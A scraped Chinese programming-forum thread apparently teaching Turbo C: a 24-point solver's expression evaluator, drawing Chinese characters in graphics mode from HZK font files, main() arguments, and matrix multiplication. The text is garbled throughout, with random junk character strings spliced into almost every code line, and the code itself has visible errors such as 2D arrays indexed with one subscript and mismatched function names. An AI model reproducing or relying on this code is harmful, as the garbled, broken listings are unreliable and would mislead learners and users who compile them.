" [: U# C2 q' S3 m4 K% U! z+ V* Ic=s[0]; sm[0]='='; top=0;9 Z* Y! B! z  e* Q+ L8 u- Y
while(c!='\0')
3 r4 e  P" L7 L# X4 V( O{ if(islower(c)) sp[j++]=c;* m+ Z* K, g. v
else switch(c)1 M& D5 t7 g+ R6 x2 p) M
{ case '+':0 S; ~; S  g$ b2 {- C' o. Z+ Z
case '-':8 E# |1 r; U9 L  U* j# }0 B
case '*':! O. L! A# o# S) a" x3 q
case '/': while(first(c)&lt;=first(sm[top]))
6 |! I2 W5 P, Z* y6 ?sp[j++]=sm[top--];# `/ {- ^$ |, Y. V4 M& R: }5 S
sm[++top]=c; break;# D3 V% |+ O. ?# ~  A
case '(': sm[++top]=c; break;4 }7 V6 b% D. A, {1 g5 c
case ')': while(sm[top]!='(')
2 f3 @" T# [% U1 ?1 }. Gsp[j++]=sm[top--];
: `! H  j4 A- ptop--; break;: {* t+ g- _  C6 z
default :return(1);
" k0 i. s, _+ y- K( g}8 k) `2 b: R/ I4 y+ W
c=s[++i];
) H- L' o$ h9 H4 V}  p( c- y% f( `6 q+ D$ T
while(top&gt;0) sp[j++]=sm[top--];6 T' ^) P& U4 u, F3 z# u3 Q
sp[j]='\0'; return(0);7 E/ u5 r. F+ S0 T3 d" T
}
; W/ U( l+ X# y0 N. |' k" i/* 由后缀表达式来计算表达式的值 */
) G' r- I3 R8 J9 V4 j! _int calc()$ d- A! E. a- J8 [
{ int i=0,sm[M],tr; char c;  p8 Y9 @$ C0 c5 s" J4 F! ~
c=sp[0]; top=-1;* ]$ z# [/ T6 I7 _0 ?/ c' g
while(c!='\0')
& O; W: t3 f! l, a( r+ `5 Z{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
$ s8 S, L+ N" K这样才可以更方便的处理非一位数, - `$ i: I3 I; N4 X( Y2 k
ver数组中存放着这些字母所代替的数*/1 j1 A* t+ c; O4 r7 _  N
else switch(c)0 l, y" v1 ?+ q- w/ a% A. j9 v' _
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
! C7 L6 r3 Q: @# [; Z) c; @case '-': tr=sm[top--]; sm[top]-=tr; break;
' K9 x0 u- E, X) j1 M) ecase '*': tr=sm[top--]; sm[top]*=tr; break;; W: v! o$ t5 B$ b5 W0 p
case '/': tr=sm[top--];sm[top]/=tr;break;
  i0 W1 y* k) J: qdefault : return(1);3 o4 L3 v& z& Z2 U: A
}
8 G7 k/ [" A1 i- }7 ^. }c=sp[++i];: f4 f4 B4 J6 K1 Z9 P8 _& c, \
}0 g$ {7 _& d8 K3 i' P3 |% z
if(top&gt;0) return(1);! b! V5 }1 R) w; a  D5 ]6 G' V& Q
else { result=sm[top]; return(0); }
, R  ?# ~' C2 j  Y% E) w}
0 q6 |- d3 @. l5 i</FONT>
! N) ?9 f( S0 H1 x# d# J  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
+ t+ q8 N5 Y, z/ U6 J
. E3 ]1 F8 Z, M( H0 S7 O  最后我总结了一下这其中容易出错的地方——) C7 x9 _+ i; o1 \

6 m: a: c2 p& n- G" h  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
0 g5 Q  E" L9 N- |2 [2 i
. {' x- r' R# m3 f# |* x$ }  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
% v7 T; v) K  _2 z
. r3 A2 w" x$ i" R/ v1 P! C* q# Q; \# A  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 . R7 n0 j0 @  F9 W2 M

8 u$ S$ i  X5 v5 J  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
$ @# \* G+ j0 G5 ^% ~3 M$ m
$ d& g0 A% ]* N  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。  D" C& ~8 P6 D2 g2 L5 Z, R
& P4 S8 i8 c1 S& D/ `2 r6 z- R
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
, y% y- ]4 _; b# R& D0 J. p; v5 Z5 P6 r" t  }
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。% h7 \* I7 D' F- w2 N
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>8 F) A& [( p' M; t7 z- D
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
9 t$ B, T" Z- S; o9 ], B  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。# E7 Q6 c: F% Z. A' D6 C
  汉字显示的第一步是打开字库文件。 . T( G( I' }& h# p" u- E
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
* q/ X4 q% F" W; E, S5 c  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)  w! J1 |$ q# _) I
{
6 x- Z% [7 a+ D4 funsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
" s, g# R+ s, n/ r6 Vint rec,i1,i2,i3; /*z:space between;*/
6 r! d9 r% T/ c5 o9 P- F) \( i( }# g5 }long l; /*color:txt color*/& l; F( W& M1 ^* Z7 P9 W6 H
char by[32]; /*p:HZ str*/
/ U8 y1 K; j- B$ y  J; U% jif( handle&lt;0 ) return -1; while((i=*p++)!=0){
6 C5 }. y) n4 g) T2 M$ bif(i&gt;0xa1)' H% G. n3 C1 K  i' `" Q
if(f==0){( Z; N! M% j5 R) z
c1=(i-0xa1)&amp;0x07f;
; Q+ i2 \! q. I& p% r9 i! Uf=1;
1 A. A, c" ^3 z}
( I% W- e1 h! F9 k  eelse{
6 E; [3 @0 `" zc2=(i-0xa1)&amp;0x07f;1 x6 G# T3 n0 v, x2 N6 P
f=0;
6 q  k7 x' h8 U7 G0 {rec=c1*94+c2;
6 |, T5 x5 k& Tl=rec*32L;
: `* [6 f9 n$ A& U5 n$ Elseek(handle,l,SEEK_SET);
% z0 M! O1 J7 e' L1 k! tread(handle,by,32);
, t! ?# t: M- u4 p, s* Tfor(i1=0;i1&lt;16;i1++)
8 C" i$ {* C- [) Ifor(i2=0;i2&lt;2;i2++)4 M: c( G+ G  ]3 O% b7 }
for(i3=0;i3&lt;8;i3++)! c- g. b, u: o' ~- Y# b5 r
if(GetBit(by[i1*2+i2],7-i3))
& p$ [4 S- J* J' o5 Oputpixel(x+i2*8+i3,y+i1,color);
8 A2 M- v7 m6 t/ r, k- ix=x+z+16;& p+ p  {4 c+ ]( [) R
}
5 n; v  V# N  s% w0 U3 ?" H+ W( a: u0 r}& r$ Z+ ]% A( N7 ?: L- y( d
return(x);! ~! p( c8 L4 j( |- D
}9 ^8 ~' l9 r! g* M/ Z
函数GetBit定义如下:5 c9 O4 F; w7 B  N  ^- ~) b" X4 v0 z4 ]
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
" P. W& s( [! K5 Jint GetBit(unsigned char c,int n)
1 j7 ~, U! g0 ?6 |8 M8 f{
7 N  e: v3 S- D- A, ireturn((c&gt;&gt;n)&amp;1);
. J3 L2 J. k; a# \7 v9 v+ i- I}
9 z. [* X; a' W4 k汉字显示结束,应该关闭字库文件。
; Y  k3 y  a9 N5 t3 mvoid CloseHz(void)
" z; D- H5 t& E6 u{
* F% M' N8 D- i- h5 E+ f6 h! \+ uclose( handle );1 P$ v& g; f9 ^/ l! K2 k5 v
}
$ e) S5 ?0 ~0 d; N# ^: C# X$ {3 @#include "\Caic\Include\Hz.h"
9 V; J; I. E" U#include <GRAPHICS.H>
# F: T' s8 W# M) Q" y#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
4 P2 R( P3 ?4 E3 {1 Bconst char* HzStr = "苦丁香C语言辅助学习软件";1 m9 C5 N, x' R5 G7 ~3 p
void main(){
! _* \3 u! g+ D6 z7 Nint gr=DETECT,gm;2 I2 t  e5 L& x0 Z
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");) Z- t7 j) e% G9 h$ W- g) r
OpenHz( Hz16Path );6 g1 E7 u4 ]" d- G; ?
Wrt16Hz(20,20,4,RED,HzStr);
/ S1 l2 z# |# _  y; w, d6 j& {CloseHz();
8 I  E. F/ _8 y7 I: y- ugetch();: S4 Z# ?9 J& v  n
closegraph();' O) P$ Q) n2 }2 z
}显示24点阵及放大汉字
" P9 g4 m8 A6 e+ {9 c  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
0 [6 Z9 n, x0 r6 ]+ k+ d函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
8 o4 o7 a& U5 {  j; m# e0 x* \int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)4 E/ Q  |3 }& T* k6 |
{# f9 Z* g2 e0 l* P( i+ I/ e
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
& N$ i+ S+ B! `1 o* j& {int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
+ Z6 g% H+ q! S$ V6 U' O# Klong l; /*color:汉字颜色*/0 |2 x* ]! m( m! V
char by[72]; /*m: x 方向的放大倍数*/
( y1 L: ~1 f2 A7 |5 z" s5 i7 t/*n: y 方向的放大倍数*/" g1 u7 q# A2 y# `0 ^0 Q
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
. U' ]; W: @/ x) w2 j1 R; pif(i&gt;0xa1)7 Z, I: \' q" t: G
if(f==0){1 A9 J- T& J9 `" A1 P2 v' _
c1=(i-0xa1)&amp;0x7f;& J: u2 f* F* s2 a. z
f=1;% E/ ?! P# Q9 \% d/ x
}1 Y' K& {3 v. ?: }4 t5 n* M
else{4 G9 [, p& F$ M- R+ I6 E
c2=(i-0xa1)&amp;0x7f;6 p5 T+ ~1 d* }% s/ e. W+ O( f. d
f=0;
$ y, l0 f# i0 R  z2 ^rec=(c1-15)*94+c2;  M# z7 C& P9 R4 [
l=rec*72L;6 }) `2 m/ e" M% k
lseek(handle,l,SEEK_SET);
$ W3 x8 P9 z6 J- |0 E! E# cread(handle,by,72);- D; T4 c5 D% F; J  p
for(i1=0;i1&lt;24*m;i1=i1+m)
. `' V3 |/ J$ o$ q: I8 P1 {( yfor(i4=0;i4<M;I4++)
6 }( I, @) t' g! w for(i2=0;i2&lt;=2;i2++). n$ ?( a+ ^4 d$ G' s; F) P6 g5 z+ F
for(i3=0;i3&lt;8;i3++)! S+ p& \1 A; f& V/ {& Z  y+ N
if(GetBit(by[i1/m*3+i2],7-i3))
% F9 w; X8 w! P% t5 t0 ~for(i5=0;i5<N;I5++)+ {" g/ V' @: t  `
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);7 E( P- I0 Q3 x) L
x=x+24*m+z;
4 m/ \" l( _9 d6 I: @. U}
, S0 {( ]  X, ]# v}
8 D- `; S5 K# a; p4 y0 Breturn(x);% S$ G/ d& ?# [+ W
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"; Z/ ?( x) U/ H! ~* t7 K  H
#include <GRAPHICS.H>1 E) K" A& x6 q' }# \9 v
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
' Q2 n4 _# S& @0 Q: _) t* Lconst char* HzStr = "苦丁香C语言辅助学习软件";
. c( J2 M$ Q/ S* [void main(){
8 e4 {0 ^9 Z6 Y) y0 t7 b* \int gr=DETECT,gm;/ g5 S% [; g: r- b
initgraph(&amp;gr,gm,"\\Caic\\Bgi");3 q1 w, Y. g8 x4 e
OpenHz( Hz24Path );
6 d; J1 d% _/ |Wrt24Hz(20,20, /*先是在(x,y)*/
4 C: W+ X5 }1 D6 p% t4, /*汉字间的空格为4*/
# s- X# G! B3 z& @RED, /*用红色显示*/
: B1 q) J0 W9 H! Q5 Y& f3 x9 G2, /*x 方向放大2倍*/
, F# }. a% I5 a3 O4, /*y 方向放大4倍*/
; N8 k6 R2 }$ P. H* k5 u' ~7 tHzStr); /*显示字符串*/
2 N. o' D1 {( K2 RCloseHz();  Q6 K5 c" X) [
getch();* S" L( {; l" b  P0 d; |: C% s
closegraph();. O. w4 k5 d, B0 t* L# q+ ~
}
  I4 f+ w' S  j0 n% p& b4 B</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数% S7 n: ]% u/ M/ h2 N
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
+ P7 L! i5 L7 l7 h' ^# r. z1. main() 参数2 n$ |/ k" l1 p2 p2 @
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。; E% r1 M. g4 |
  * argc: 整数,为传给main()的命令行参数个数。% J1 G/ k2 \' {4 T
  * argv: 字符串数组。
% k; G% a  ]3 t* N在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;$ T& S+ M5 Y& J
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
. m0 q/ m8 O& o...
8 z3 W6 C4 m$ A$ u- N. ]0 B6 |argv[argc]为NULL。2 t- m+ }  G* v/ [* f
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应7 ]3 M, ]6 v% U1 M, u/ Z( ^
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/7 [* @2 T/ E- C/ l7 \% H& ?
#include&lt;stdio.h&gt;
) A; w5 h1 _6 o+ c4 l( o7 e+ u3 M#include&lt;conio.h&gt;7 \: R" f% B4 g; V' ^' I$ Y2 n
#define X 3
/ v' B4 t4 g; ~5 u#define Y 3</P><>int a[X][Y];
* t/ m+ f. C2 X5 R# ~7 w2 A. yint b[X][Y];
  n* [* j! _, g2 a8 p8 kint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
' w; _' R2 `4 B6 g* ^- ?; pmain()
, r9 v5 g& ?2 s' q5 u8 T& C/ O8 B4 ~+ a{
) S8 k  n; @# a8 p! Mint i,j,temp;9 S. k* ^3 B* t3 m' q
clrscr();+ f) ~- u/ B) S0 D
printf("lease input int matrix b[%d][%d]\n",X,Y);
+ L: Z9 U, b) O% A. M% F* R! Qfor(i=0;i&lt;Y;i++)
5 \; t: D, ?5 u* O& qfor(j=0;j&lt;Y;j++){
* M! E3 J) c, g. {9 O# T. ?scanf("%d",&amp;temp);
+ ]$ z0 z: ^* k0 [b[j]=temp;
" Y3 o+ R, c/ i8 o$ ~}" t  h! ?% S; G( B" F
printf("lease input int matrix c[%d][%d]\n",X,Y);6 G+ Y  U" o' ~, v4 S: h8 u% p
for(i=0;i&lt;X;i++)' T& F: C' h8 W* R
for(j=0;j&lt;Y;j++){% k+ x4 a7 g/ @/ O# o# [
scanf("%d",&amp;temp);* ^& m( Y2 g9 C; ?4 C- Y0 q% G
c[j]=temp;
% B) m; A' J6 l1 _% b5 L! V}
* L2 ]8 Z+ ?& U; g/ `. Fmatrix(b,c);
4 p2 l0 X$ a% ]; u2 Q2 H5 Z! Kprintf("Now print resource matrix b[%d][%d]=",X,Y);/ q1 r) i4 j* r; r' l& y7 i
for(i=0;i&lt;X;i++){* F' E: x4 S4 k' `4 P( q3 U& j
printf("\n");" X  c+ L9 }0 E4 m2 N
for(j=0;j&lt;Y;j++); U4 V5 u5 r$ J8 X& O: R
printf("%d ",b[j]);3 Q! s0 v+ R8 X1 q7 x1 o
}
) C- [2 D( f; m+ S6 `printf("\n");
% n7 ~* E2 G! x' Tprintf("Now print resource matrix c[%d][%d]=",X,Y);
% I6 R8 X3 f, @% Ffor(i=0;i&lt;X;i++){
& l8 }& `  [  |. A, p1 e/ }printf("\n");* S+ E+ e# @' O' ]
for(j=0;j&lt;Y;j++)9 m: \$ B: f' R8 X% K7 q; v  I( e9 }
printf("%d ",c[j]);5 k$ v  V3 c, }
}
/ w: t' r7 |% X+ ?; n2 xprintf("\n");
7 o7 @2 K3 l$ O- Yprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);! Q3 ]8 C/ W$ y8 E  h8 G
for(i=0;i&lt;X;i++){" [  U6 R4 a  A% B  b
printf("\n");$ @9 d, b/ o( s6 |% a  F
for(j=0;j&lt;Y;j++)
; f; J; [! _/ t6 {printf("%d ",a[j]);: B: T+ X3 L6 N0 h, E9 i6 y
}
; N* |+ b& Y: m- }- \5 w. }getch();1 n  m4 f: C# j) ~
return 0;
- `  J9 l. W1 ~+ f( v}
: l. e2 E' y  c/********************************************************************/
* p$ d) [) s- Y$ N+ X+ jvoid matrix(int b[][X],int c[][Y])
  P/ m7 C( S; F3 p# c{
: F" L& p3 {" ~7 m9 f& kint i,j,k,temp;# I4 b+ x9 [3 g8 w1 R* _) a
for(i=0;i&lt;X;i++)
# y) s0 S3 K4 w. l4 pfor(j=0;j&lt;Y;j++){- }7 U  W  z8 p' v9 h, P7 `
for(k=0;k&lt;Y;k++), N% l3 o0 M, b% j8 Q0 M
a[j]+=b[k]*c[k][j];
. o( Z* S4 [, m" m% H}
8 V/ y. S0 k& l* L* N  k* U) R  K2 @0 C0 @}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-9-4 12:02 , Processed in 1.272038 second(s), 89 queries .

回顶部